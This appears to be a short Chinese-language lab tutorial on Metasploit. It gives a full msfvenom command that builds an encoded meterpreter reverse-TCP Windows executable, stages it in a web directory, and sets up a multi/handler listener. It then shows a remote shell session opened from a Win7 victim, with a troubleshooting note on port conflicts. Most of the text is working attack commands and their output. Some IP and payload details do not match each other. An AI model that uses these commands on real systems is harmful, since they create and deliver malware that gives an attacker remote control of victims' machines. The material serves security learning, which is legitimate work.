root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.16.190 LPORT=4444 -b 「\x00」 -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/windows.exe**
生成病毒 ,命名為windows.exe
編輯好的病毒存放在/var/www/html/
下載好,移動到win7,
回到msf中,切換到 explpit/multi/handler/模組中
在模組中選擇 windows/shell/reverse_tcp. payload模組
使用 show options 設定引數
發現 「LHOST」,"LPORT「兩個需要設定
第一個是監聽地址,第二個是監聽埠。設定好
//註釋! 如果run後出現
[-] Handler failed to bind to 192.168.16.192:4444:- - [-] Handler
failed to bind to 0.0.0.0:4444:- - [-] Exploit failed [bad-config]:
Rex::BindFailed The address is already in use or unavailable:
(0.0.0.0:4444). [*] Exploit completed, but no session was created.
是因為4444埠被佔用了,需要切換監聽埠!//
run
在win7中開啟剛剛上傳的病毒,等待msf終端回彈
[]Started reverse TCP handler on 192.168.16.192:4444
[]Command shell session 1 opened (192.168.16.192:4444 -> 192.168.16.190:49158) at 2020-09-28 21:17:15 +0
[*] 192.168.16.190 - Command shell session 1 closed. Reason: User exit
輸入 sessions -i 1 即可獲得